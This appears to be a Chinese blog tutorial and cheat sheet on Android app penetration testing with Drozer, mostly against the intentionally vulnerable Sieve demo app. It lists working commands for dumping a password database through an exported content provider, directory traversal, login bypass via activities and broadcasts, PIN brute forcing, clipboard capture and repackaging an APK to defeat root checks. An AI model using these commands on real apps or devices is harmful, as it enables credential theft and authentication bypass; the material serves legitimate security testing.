前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用Drozer安卓调试手册

使用Drozer安卓调试手册

作者头像
Khan安全团队
发布2021-12-28 08:48:12
1.3K0
发布2021-12-28 08:48:12
举报
文章被收录于专栏:Khan安全团队

1、使用工具以及环境

Win10

夜神模拟器:

python2

adb

drozer

agent.apk

2、工具安装

Python2和adb需要设置环境变量

Drozer需安装在python2的Scripts目录下

把agent.apk安装到模拟器下

3、启动环境

打开agent.apk进行监听

使用命令adb devices找到我们的模拟器设备

(如果找不到设备,则需要在模拟器bin的目录下启动cmd)

因devices 31415端口,使用adb进行端口转发

代码语言:javascript
复制
adb forward tcp:31415 tcp:31415

adb shell pm list package 查看所有包名

启动

drozer console connect

set PYTHONIOENCODING=UTF-8

runapp.package.list

run app.package.list -f 包名

获取基本信息run app.package.info -a 包名

查看四大组件攻击面

利用暴露的activity实现登陆绕过

首先使用drozdr检测app中暴露的activity

run scanner.provider.finduris -a 包名,这里可以看到暴露的主件还是有不少:

调用服务组件:run app.service.start --action 服务名 --component 包名 服务名

调用activity组件:run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞

检测注入 run scanner.provider.injection -acom.mwr.example.sieve

查看是否存在数据泄露 run scanner.provider.finduris -acom.xxx.xzxx

检测目录遍历 run scanner.provider.traversal -acom.mwr.example.sieve

检测可以访问的URL:runscanner.provider.finduris -a 包名

查询URL的数据:runapp.provider.query url

检测有没有拒绝服务漏洞:

发送空action: run app.broadcast.send--component 包名 广播名

发送空extras: run app.broadcast.send--action 广播名

基本测试命令:

代码语言:javascript
复制
1.     查找已安装应用程序的包名称dz> runapp.package.list -f Sieve
2.     获取应用程序的清单dz> runapp.package.manifest com.mwr.example.sieve
3.     获取攻击面dz> runapp.package.attacksurface com.mwr.example.sieve
4.     检查导出的活动dz> runapp.activity.info -a com.mwr.example.sieve
5.     检查启动意图(主要活动) 
dz> runapp.package.launchintent com.mwr.example.sieve
6.     调用导出的活动 
dz> runapp.activity.start --component <package_name> <full_activity_name>
7.     检查导出的内容提供者 
dz> runapp.provider.info -a com.mwr.example.sieve
8.     查找内容 URI 
dz> runapp.provider.finduri com.mwr.example.sieve
9.     如果在导出的内容提供程序中找到了 URI 路径,则使用以下命令运行该路径以查找任何有用的数据,(在筛选中,所有密码都被转储) 
dz> runapp.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
10.将条目插入内容提供商数据库 
dz> runapp.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords--integer _id 3 --string service Facebook --string username tyrone --stringpassword zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
11.查找具有特定权限的应用 
dz> runapp.package.list -p android.permission.INSTALL_PACKAGES
12.查找使用特定 UID 运行的应用程序,在本例中为 System 
dz> runapp.package.list -u 1000
13.查找应用程序以查看特定的 MIME 类型 
dz> runapp.activity.forintent --action android.intent.action.VIEW --mimetypeapplication/pdf
14.查找设备上的所有可浏览活动 
dz> runscanner.activity.browsable

遍历

代码语言:javascript
复制
1.     使用内容提供程序读取外部文件 
dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts
2.     目录遍历以读取/sieve 中的数据库 
dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db>database.db
3.     自动化遍历 
dz> run scanner.provider.traversal -acontent://com.mwr.example.sieve.FileBackupProvider

利用服务

代码语言:javascript
复制
1.     获取服务 
dz> run app.service.info -a com.mwr.example.sieve
2.     利用sieve中的handleMessage()函数(AuthService服务的代码分析)dz> run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra stringcom.mwr.example.sieve.PIN 1337 --bundle-as-obj在上面的请求中,PIN 1337可以被暴力破解。请参阅 MAHH 第 211 页。
3.     利用 CryptoService 加密消息dz> run app.service.sendcom.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3--extra string com.mwr.example.sieve.KEY testpassword --extra stringcom.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj

利用广播接收器

1. 获取广播接收器

代码语言:javascript
复制
dz> run app.broadcast.info -a com.mwr.example.browser

2. 如果应用程序希望广播接收器捕获意图,然后显示经过身份验证的活动,则只有在登录后才能生成该广播。但是在代码审查之后,攻击者可以使用 drozer 手动发送该意图。示例广播接收器:

代码语言:javascript
复制
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
dz> run app.broadcast.send --actioncom.myapp.CORRECT_CREDS(第 217 页 - MAHH)
代码语言:javascript
复制

3. 使用广播接收器的意图嗅探/捕获意图,这些接收器用于其他广播接收器

代码语言:javascript
复制
dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED 

dz> run app.broadcast.sniff --actioncom.myapp.USER_LOGIN(发送广播的动作名称)

杂项命令

1. 使用 drozer 模块查找 WebView 是否可利用

代码语言:javascript
复制
dz> run scanner.misc.checkjavascriptbridge -acom.vulnerable.js
操作:https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-代码执行/

2. 从剪贴板查看复制的文本

代码语言:javascript
复制
dz> run post.capture.clipboard

3.查看app是否允许备份数据

代码语言:javascript
复制
dz> run app.package.backup -f com.mwr.example.sieve

4. 确定一个包是否可调试

dz> run app.package.debuggable -f sieve如果它是可调试的,您可以作为该应用程序运行命令shell@android:/ $ run-as com.mwr.example.sieve

反编译/编译/签名apk

代码语言:javascript
复制
1. 使用 apktool 将应用程序转换为 baksmali 
$ java -jar apktool.jar d com.joeykrim.rootcheck.apkrootcheck
2. 然后 grep 像“su”这样的字符串绕过根检查(发挥你的创造力)
3. 再次编译应用程序:$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
4. 签署 apk:$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystoremykey.keystore rootcheck-modified.apk alias_name
注意:使用 jarsigner v1.6,更改版本为 
$ sudo update-alternatives --config jarsigner
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 遍历
  • 利用服务
  • 利用广播接收器
  • 杂项命令
  • 反编译/编译/签名apk
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档